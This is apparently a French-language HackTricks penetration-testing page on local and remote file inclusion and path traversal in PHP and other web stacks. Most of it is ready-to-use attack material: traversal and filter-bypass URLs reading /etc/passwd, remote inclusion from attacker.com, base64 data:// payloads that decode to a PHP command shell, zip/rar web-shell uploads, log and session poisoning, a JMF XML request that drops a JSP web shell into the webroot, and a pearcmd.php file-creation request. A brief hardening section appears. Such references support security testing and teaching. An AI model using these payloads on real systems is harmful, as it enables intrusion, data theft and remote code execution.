File Inclusion/Path traversal
Reading time: 30 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
File Inclusion
Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Meilleur: vous pouvez écrire le code et le serveur l'exécutera). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut, d'une maniÚre ou d'une autre, contrÎler le fichier que le serveur va charger.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Intéressants - fichiers LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
En combinant plusieurs listes LFI *nix et en ajoutant davantage de chemins, j'ai créé celle-ci :
Essayez aussi de remplacer /
par \
Essayez aussi d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e here
Windows
Fusion de différentes wordlists :
Essayez aussi de remplacer /
par \
Essayez aussi de supprimer C:/
et d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e here
OS X
Consultez la liste LFI de linux.
LFI basique et bypasses
Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer Ă Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
séquences de traversal supprimées non récursivement
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass l'ajout de caractÚres supplémentaires à la fin de la chaßne fournie (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pouvez utiliser des encodages non standard comme le double encodage URL (et d'autres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Depuis un dossier existant
Peut-ĂȘtre que le back-end vĂ©rifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorer les répertoires du systÚme de fichiers sur un serveur
Le systĂšme de fichiers d'un serveur peut ĂȘtre explorĂ© rĂ©cursivement pour identifier des rĂ©pertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste Ă dĂ©terminer la profondeur des rĂ©pertoires et Ă vĂ©rifier l'existence de dossiers spĂ©cifiques. Voici une mĂ©thode dĂ©taillĂ©e pour y parvenir :
- Déterminer la profondeur du répertoire : Déterminez la profondeur de votre répertoire courant en récupérant avec succÚs le fichier
/etc/passwd
(applicable si le serveur est Linux). Un exemple d'URL pourrait ĂȘtre structurĂ© comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sonder les dossiers : Ajoutez le nom du dossier suspect (par ex.,
private
) Ă l'URL, puis revenez Ă/etc/passwd
. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpréter les résultats : La réponse du serveur indique si le dossier existe :
- Erreur / Pas de sortie : Le dossier
private
n'existe probablement pas à l'emplacement spécifié. - Contenu de
/etc/passwd
: La présence du dossierprivate
est confirmée.
- Exploration rĂ©cursive : Les dossiers dĂ©couverts peuvent ĂȘtre davantage sondĂ©s pour des sous-rĂ©pertoires ou des fichiers en utilisant la mĂȘme technique ou les mĂ©thodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du systÚme de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/
contient un répertoire private
(en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractÚres supplémentaires à la fin des chemins de fichier. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
In PHP, diffĂ©rentes reprĂ©sentations d'un chemin de fichier peuvent ĂȘtre considĂ©rĂ©es comme Ă©quivalentes en raison de la nature du systĂšme de fichiers. Par exemple :
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
sont tous traitĂ©s comme le mĂȘme chemin.- Lorsque les 6 derniers caractĂšres sont
passwd
, ajouter un/
(rendantpasswd/
) ne change pas le fichier ciblĂ©. - De mĂȘme, si
.php
est ajouté à un chemin de fichier (commeshellcode.php
), ajouter/.
à la fin n'altérera pas le fichier accédé.
Les exemples fournis démontrent comment utiliser path truncation pour accéder à /etc/passwd
, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scĂ©narios, le nombre de traversals nĂ©cessaires peut ĂȘtre d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- Utilisation de Dot Segments et de caractÚres supplémentaires : Traversal sequences (
../
) combinĂ©es Ă des dot segments et des caractĂšres supplĂ©mentaires peuvent ĂȘtre utilisĂ©es pour naviguer dans le systĂšme de fichiers, en ignorant effectivement les chaĂźnes ajoutĂ©es par le serveur. - DĂ©terminer le nombre requis de traversals : Par essais et erreurs, on peut trouver le nombre prĂ©cis de sĂ©quences
../
nécessaires pour remonter jusqu'à la racine puis vers/etc/passwd
, en s'assurant que toutes les chaßnes ajoutées (comme.php
) sont neutralisées mais que le chemin désiré (/etc/passwd
) reste intact. - Commencer par un répertoire factice : Il est courant de commencer le chemin par un répertoire non existant (comme
a/
). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.
Lors de l'utilisation des techniques de path truncation, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du systÚme de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php ceci est désactivé par défaut parce que allow_url_include
est Off. Il doit ĂȘtre On pour que ça fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si pour une raison quelconque allow_url_include
est On, mais que PHP filtre l'accÚs aux pages web externes, selon cet article, vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP en b64 et obtenir une RCE :
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Dans le code précédent, le +.txt
final a été ajouté parce que l'attaquant avait besoin d'une chaßne qui se terminait par .txt
, donc la chaßne se termine par ceci et aprÚs le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
Un autre exemple n'utilisant pas le protocole php://
serait :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
ĂlĂ©ment racine en Python
En Python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l'utilisateur passe un chemin absolu Ă file_name
, le chemin précédent est simplement supprimé :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C'est le comportement prévu selon the docs:
Si un composant est un chemin absolu, tous les composants précédents sont supprimés et l'assemblage continue à partir du composant de chemin absolu.
Java Liste des répertoires
Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela n'arrive pas dans d'autres langages (afaik).
Top 25 paramĂštres
Voici la liste des 25 paramĂštres les plus courants qui pourraient ĂȘtre vulnĂ©rables Ă local file inclusion (LFI) (d'aprĂšs link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou écriture. Il existe 5 catégories de filtres:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Supprime les balises des données (tout ce qui se trouve entre les caractÚres "<" et ">")- Notez que ce filtre a disparu des versions modernes de PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforme vers un encodage différent (convert.iconv.<input_enc>.<output_enc>
). Pour obtenir la liste de tous les encodages supportés, lancez dans la console :iconv -l
warning
En abusant du filtre de conversion convert.iconv.*
, vous pouvez gĂ©nĂ©rer du texte arbitraire, ce qui peut ĂȘtre utile pour Ă©crire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)zlib.inflate
: Décompresse les données- Encryption Filters
mcrypt.*
: ObsolĂštemdecrypt.*
: ObsolĂšte- Other Filters
- En exécutant dans php
var_dump(stream_get_filters());
vous pouvez trouver quelques filtres inattendus: consumed
dechunk
: inverse l'encodage HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
La partie "php://filter" n'est pas sensible Ă la casse
Utiliser php filters comme oracle pour lire des fichiers arbitraires
In this post est proposĂ©e une technique pour lire un fichier local sans que la sortie ne soit renvoyĂ©e par le serveur. Cette technique est basĂ©e sur une exfiltration boolĂ©enne du fichier (caractĂšre par caractĂšre) utilisant php filters comme oracle. Cela vient du fait que les php filters peuvent ĂȘtre utilisĂ©s pour agrandir un texte suffisamment pour provoquer une exception php.
Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utiliser le codec
UCS-4LE
pour laisser le caractĂšre initial du texte en tĂȘte et faire croĂźtre la taille de la chaĂźne de façon exponentielle. - Ceci sera utilisĂ© pour gĂ©nĂ©rer un texte tellement volumineux lorsque la lettre initiale est devinĂ©e correctement que php dĂ©clenchera une erreur.
- Le filtre dechunk supprimera tout si le premier char n'est pas hexadécimal, donc on peut savoir si le premier char est hex.
- Ceci, combiné avec le précédent (et d'autres filters suivant la lettre devinée), permettra de deviner une lettre au début du texte en observant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractÚre hexadécimal. Car si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale provoquera l'erreur php.
- Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc aprÚs ce codec : a -> b). Cela permet de découvrir si la premiÚre lettre est un
a
par exemple parce qu'en appliquant 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractĂšre hexadĂ©cimal, donc dechunk ne la supprime pas et l'erreur php est dĂ©clenchĂ©e Ă cause de la multiplication avec la bombe initiale. - En utilisant d'autres transformations comme rot13 au dĂ©but, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent ĂȘtre utilisĂ©s pour dĂ©placer d'autres lettres dans la plage hex).
- Quand le char initial est un chiffre, il est nécessaire de l'encoder en base64 et de leak les 2 premiÚres lettres pour leak le chiffre.
- Le problÚme final est de voir comment leak plus que la lettre initiale. En utilisant des filters de réorganisation d'ordre mémoire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l'ordre des chars et de mettre en premiÚre position d'autres lettres du texte.
- Et afin de pouvoir obtenir données supplémentaires, l'idée est de générer 2 octets de junk data au début avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire basculer avec les 2 octets suivants, et supprimer les données jusqu'aux junk data (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
Dans le post un outil pour automatiser cela a également été leaked : php_filters_chain_oracle_exploit.
php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu de fichiers ouverts:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez aussi utiliser php://stdin, php://stdout et php://stderr pour accĂ©der aux file descriptors 0, 1 et 2 respectivement (je ne suis pas sĂ»r de la maniĂšre dont cela pourrait ĂȘtre utile dans une attaque)
zip:// and rar://
Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.
Pour pouvoir abuser du protocole rar, il doit ĂȘtre activĂ© spĂ©cifiquement.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations php allow_url_open
et allow_url_include
expect://
Expect doit ĂȘtre activĂ©. Vous pouvez exĂ©cuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramÚtres POST :
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar
peut ĂȘtre utilisĂ© pour exĂ©cuter du code PHP lorsqu'une application web utilise des fonctions telles que include
pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar
, la commande suivante doit ĂȘtre exĂ©cutĂ©e :
php --define phar.readonly=0 create_path.php
Lors de l'exécution, un fichier nommé test.phar
sera créé, ce qui pourrait potentiellement ĂȘtre exploitĂ© dans le cadre de Local File Inclusion (LFI).
Dans les cas oĂč le LFI se contente de lire des fichiers sans exĂ©cuter le code PHP Ă l'intĂ©rieur, via des fonctions telles que file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ou filesize()
, on peut tenter d'exploiter une vulnérabilité de désérialisation liée à la lecture de fichiers en utilisant le protocole phar
.
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar
, référez-vous au document lié ci-dessous :
Phar Deserialization Exploitation Guide
CVE-2024-2961
Il a Ă©tĂ© possible d'abuser de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters pour obtenir une RCE. La description dĂ©taillĂ©e peut ĂȘtre found in this post.
TrÚs rapide résumé : un overflow de 3 octets dans le heap PHP a été abusé pour altérer la chaßne de free chunks d'une taille spécifique afin de pouvoir écrire n'importe quoi à n'importe quelle adresse, donc un hook a été ajouté pour appeler system
.
Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.
Autres protocoles
Consultez d'autres protocols to include here:
- php://memory and php://temp â Ăcrire en mĂ©moire ou dans un fichier temporaire (je ne suis pas sĂ»r de l'utilitĂ© dans une attaque d'inclusion de fichier)
- file:// â AccĂšs au filesystem local
- http:// â AccĂšs aux URLs HTTP(s)
- ftp:// â AccĂšs aux URLs FTP(s)
- zlib:// â Compression Streams
- glob:// â Trouver des chemins correspondant Ă un motif (ça ne retourne rien d'imprimable, donc pas vraiment utile ici)
- ssh2:// â Secure Shell 2
- ogg:// â Audio streams (Pas utile pour lire des fichiers arbitraires)
LFI via PHP's 'assert'
Les risques de Local File Inclusion (LFI) en PHP sont particuliÚrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des strings. Cela devient particuliÚrement problématique si une entrée contenant des caractÚres de traversal comme ".." est vérifiée mais pas correctement assainie.
Par exemple, le code PHP pourrait ĂȘtre conçu pour prĂ©venir le directory traversal de la maniĂšre suivante :
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise Ă empĂȘcher le traversal, cela crĂ©e involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De mĂȘme, pour exĂ©cuter des commandes systĂšme arbitraires, on peut utiliser :
' and die(system("id")) or '
Il est important de URL-encode these payloads.
PHP Blind Path Traversal
warning
Cette technique est pertinente dans les cas oĂč vous contrĂŽlez le chemin de fichier d'une fonction PHP qui va accĂ©der Ă un fichier mais dont vous ne verrez pas le contenu (comme un simple appel Ă file()
) et que le contenu n'est pas affiché.
Dans this incredible post il est expliquĂ© comment a blind path traversal peut ĂȘtre abusĂ© via PHP filter pour exfiltrer le contenu d'un fichier via un error oracle.
En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier tellement gros que la fonction PHP ouvrant le fichier déclenchera une erreur.
Ensuite, afin de leak le premier caractĂšre, le filter dechunk
est utilisé avec d'autres comme base64 ou rot13 et finalement les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractÚres au beggining et les leak.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Pour les détails techniques, consultez l'article mentionné !
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Quand du code cÎté serveur qui ingÚre/charge des fichiers construit le chemin de destination en utilisant des données contrÎlées par l'utilisateur (par ex. un filename ou une URL) sans canonicaliser ni valider, des segments ..
et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire accessible depuis le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
Flux d'exploitation typique :
- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex. ingestion pilotée par message, handlers de commandes XML/JSON, extracteurs ZIP, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
â dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
â dropshell.aspx
- Construire un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
- Parcourir le payload déposé et exécuter des commandes.
Remarques :
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex. un écouteur JMF XML sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation
File
/Paths
. L'absence de canonicalisation/allow-listing est la faille principale.
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Durcissement qui empĂȘche cette classe de bugs :
- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base sur liste blanche.
- Rejeter tout chemin contenant
..
, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. - Exécuter le writer avec un compte à faibles privilÚges et séparer les répertoires d'écriture des racines servies.
Remote File Inclusion
Expliqué précédemment, follow this link.
Via Apache/Nginx log file
Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include vous pouvez essayer d'accéder à /var/log/apache2/access.log
or /var/log/nginx/access.log
, d'insérer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?>
et d'inclure ce fichier
warning
Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés en la chaßne "quote;", PHP lÚvera une erreur là et rien d'autre ne sera exécuté.
De plus, assurez-vous d'écrire correctement le payload sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
Cela peut aussi ĂȘtre fait dans d'autres logs mais faites attention, le code Ă l'intĂ©rieur des logs peut ĂȘtre URL-encodĂ© et cela peut dĂ©truire le Shell. L'en-tĂȘte authorisation "basic" contient "user:password" en Base64 et il est dĂ©codĂ© dans les logs. Le PHPShell peut ĂȘtre insĂ©rĂ© dans cet en-tĂȘte.
Autres chemins de log possibles:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Par e-mail
Envoyer un mail Ă un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?>
et essayer d'inclure le mail de l'utilisateur avec un chemin comme /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Via /proc//fd/
- Upload beaucoup de shells (par exemple : 100)
- Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut ĂȘtre rĂ©cupĂ©rĂ© par brute force) et $FD le descripteur de fichier (peut ĂȘtre rĂ©cupĂ©rĂ© par brute force aussi)
Via /proc/self/environ
Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
Via téléversement d'un fichier ZIP
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Vérifiez si le site web utilise PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Dans PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définissez le cookie sur <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utilisez la LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vérifiez quel utilisateur est en cours d'utilisation (/proc/self/status & /etc/passwd) et tentez d'accéder à <HOME>/.ssh/id_rsa
Via vsftpd logs
Les logs du serveur FTP vsftpd se trouvent dans /var/log/vsftpd.log. Dans le cas oĂč une vulnĂ©rabilitĂ© Local File Inclusion (LFI) est prĂ©sente et qu'un accĂšs Ă un serveur vsftpd exposĂ© est possible, les Ă©tapes suivantes peuvent ĂȘtre envisagĂ©es :
- Injectez un payload PHP dans le champ du nom d'utilisateur lors de la connexion.
- AprÚs l'injection, utilisez la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.
Via php base64 filter (using base64)
Comme montré dans this article, PHP base64 filter ignore simplement les caractÚres non-base64. Vous pouvez utiliser cela pour bypasser la vérification d'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et appendra "php" au base64. Voici un exemple de payload :
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (aucun fichier nécessaire)
This writeup explains that you can use php filters to generate arbitrary content as output. Ce qui signifie essentiellement que vous pouvez generate arbitrary php code pour l'include without needing to write it into a file.
Via segmentation fault
Téléversez un fichier qui sera stocké comme temporaire dans /tmp
, puis dans la mĂȘme requĂȘte, provoquez un segmentation fault, et alors le fichier temporaire ne sera pas supprimĂ© et vous pourrez le rechercher.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Si vous trouvez une Local File Inclusion et que Nginx fonctionne devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous trouvez une Local File Inclusion mĂȘme si vous n'avez pas de session et que session.auto_start
est Off
. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS
dans des données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir une RCE :
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir une RCE :
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramÚtre d'URL n'a pas de =
, il doit ĂȘtre utilisĂ© comme argument. Voir aussi watchTowrâs write-up et Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'aprĂšs here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
